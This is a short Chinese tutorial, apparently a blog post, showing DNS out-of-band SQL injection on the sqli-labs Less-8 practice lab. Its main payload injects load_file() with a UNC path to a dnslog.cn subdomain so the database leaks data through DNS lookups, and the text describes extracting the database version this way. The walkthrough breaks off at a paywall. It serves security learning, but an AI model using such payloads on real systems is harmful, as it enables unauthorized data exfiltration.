本文通过sql labs8实例演示了SQL注入过程，利用DNS的带外注入技术获取域名信息。首先搜索并使用DNS.log软件，然后通过ping验证域名解析。接着在SQL查询中插入特殊语句，使得请求指向dnslog服务器上的文件。最后，通过修改查询语句，成功获取到数据库版本信息。
以sql labs8为例
1.搜索dns.log在线软件，并get一个域名
2.在cmd中ping该域名，发现解析成功
3.在sql labs8中输入http://localhost/sqli-labs-master/Less-8/?id=1' and load_file("\\\\sss.cipv66.dnslog.cn\\xxx.txt") -- -，并执行
4.在dnslog上刷新查询，就可以看到sss就可以请求到了
5.在语句中修改为http://localhost/sqli-labs-master/
最低0.47元/天 解锁文章
扫一扫
1292
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
